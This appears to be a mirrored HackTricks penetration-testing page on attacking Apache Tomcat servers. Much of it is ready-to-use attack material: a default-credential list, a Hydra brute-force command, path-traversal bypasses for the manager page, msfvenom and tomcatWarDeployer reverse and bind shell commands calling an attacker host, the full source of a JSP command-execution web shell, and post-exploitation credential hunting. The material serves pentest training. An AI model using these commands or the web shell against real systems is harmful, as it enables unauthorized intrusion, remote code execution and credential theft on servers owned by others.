mirror of
https://github.com/carlospolop/hacktricks
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208 lines
6.6 KiB
Markdown
208 lines
6.6 KiB
Markdown
# Tomcat
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It usually runs on **port 8080**
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## Avoid to run with root
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In order to not run Tomcat with root a very common configuration is to set an Apache server in port 80/443 and, if the requested path matches a regexp, the request is sent to Tomcat running on a different port.
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## Username Enum
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In some versions prior to Tomcat6 you could enumerate users:
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```bash
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msf> use auxiliary/scanner/http/tomcat_enum
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```
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## Default credentials
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The most interesting path of Tomcat is _**/manager/html**_, inside that **path you can upload and deploy war files** (execute code). But this path is protected by basic HTTP auth, the most common credentials are:
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* admin:admin
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* tomcat:tomcat
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* admin:\<NOTHING>
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* admin:s3cr3t
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* tomcat:s3cr3t
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* admin:tomcat
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You could test these and more using:
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```bash
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msf> use auxiliary/scanner/http/tomcat_mgr_login
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```
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Another **interesting Tomcat** path is _**/manager/status**_, where you can see the version of the OS and Tomcat. This is useful to find vulns affecting the version of Tomcat when you cannot access _**/manager/html.**_
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### Bruteforce
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This could be needed.
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```bash
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hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
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```
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## Vulns
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### Password backtrace disclosure
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Try to access `/auth.jsp` and if you are very lucky it **might disclose the password in a backtrace**.
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### Double URL encode
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A well-known vulnerability _to_ access the application manager \_\_ is mod\_jk in CVE-2007-1860, that allows **Double URL encode path traversal.**
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In order to access to the management web of the Tomcat go to: _pathTomcat/%252E%252E/manager/html_
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Take into account that to upload the webshell you might need to use the double urlencode trick and send also a cookie and/or a SSRF token.\
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To access to backdoor you might also need to use the double urlencode trick.
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### /examples
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The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection (from [here](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)).
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* /examples/jsp/num/numguess.jsp
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* /examples/jsp/dates/date.jsp
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* /examples/jsp/snp/snoop.jsp
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* /examples/jsp/error/error.html
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* /examples/jsp/sessions/carts.html
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* /examples/jsp/checkbox/check.html
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* /examples/jsp/colors/colors.html
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* /examples/jsp/cal/login.html
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* /examples/jsp/include/include.jsp
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* /examples/jsp/forward/forward.jsp
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* /examples/jsp/plugin/plugin.jsp
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* /examples/jsp/jsptoserv/jsptoservlet.jsp
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* /examples/jsp/simpletag/foo.jsp
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* /examples/jsp/mail/sendmail.jsp
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* /examples/servlet/HelloWorldExample
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* /examples/servlet/RequestInfoExample
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* /examples/servlet/RequestHeaderExample
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* /examples/servlet/RequestParamExample
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* /examples/servlet/CookieExample
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* /examples/servlet/JndiServlet
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* /examples/servlet/SessionExample
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* /tomcat-docs/appdev/sample/web/hello.jsp
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### Path Traversal (..;/)
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In some **vulnerable versions of Tomcat** you can access to protected directories in Tomcat using the path: `/..;/`
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So, for example, you might be able to **access the Tomcat manager** page accessing: `www.vulnerable.com/lalala/..;/manager/html`
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**Another way** to bypass protected paths using this trick is to access `http://www.vulnerable.com/;param=value/manager/html`
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## RCE
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Finally, if you have access to the Tomcat Web Application Manager, you can **upload and deploy a .war file (execute code)**.
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### Limitations
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You will only be able to deploy a WAR if you have **enough privileges** (roles: **admin**, **manager** and **manager-script**). Those details can be find under _tomcat-users.xml_ usually defined in `/usr/share/tomcat9/etc/tomcat-users.xml` (it vary between versions) (see [POST ](tomcat.md#post)section).
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```bash
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# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
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# deploy under "path" context path
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curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
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# undeploy
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curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
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```
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### Metasploit
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```bash
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use exploit/multi/http/tomcat_mgr_upload
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msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
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msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
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msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
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msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
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msf exploit(multi/http/tomcat_mgr_upload) > exploit
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```
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### MSFVenom Reverse Shell
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```bash
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msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war
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```
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Then, upload the revshell.war file and access to it (_/revshell/_)
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### Bind and reverse shell with [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
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In some scenarios this doesn't work (for example old versions of sun)
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#### Download
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```bash
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git clone https://github.com/mgeeky/tomcatWarDeployer.git
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```
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#### Reverse shell
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```bash
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./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
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```
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#### Bind shell
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```bash
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./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
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```
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### Using [Culsterd](https://github.com/hatRiot/clusterd)
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```bash
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clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
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```
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### Manual method - Web shell
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Create **index.jsp** with this content:
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```java
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<FORM METHOD=GET ACTION='index.jsp'>
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<INPUT name='cmd' type=text>
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<INPUT type=submit value='Run'>
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</FORM>
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<%@ page import="java.io.*" %>
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<%
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String cmd = request.getParameter("cmd");
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String output = "";
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if(cmd != null) {
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String s = null;
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try {
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Process p = Runtime.getRuntime().exec(cmd,null,null);
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BufferedReader sI = new BufferedReader(new
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InputStreamReader(p.getInputStream()));
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while((s = sI.readLine()) != null) { output += s+"</br>"; }
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} catch(IOException e) { e.printStackTrace(); }
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}
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%>
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<pre><%=output %></pre>
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```
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```bash
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$ mkdir webshell
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$ cp index.jsp webshell
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$ cd webshell
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$ jar -cvf ../webshell.war *
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webshell.war is created
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```
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You could also install this (allows upload, download and command execution): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
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## POST
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Name of Tomcat credentials file is _tomcat-users.xml_
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```bash
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find / -name tomcat-users.xml 2>/dev/null
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```
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Other ways to gather Tomcat credentials:
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```bash
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msf> use post/multi/gather/tomcat_gather
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msf> use post/windows/gather/enum_tomcat
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```
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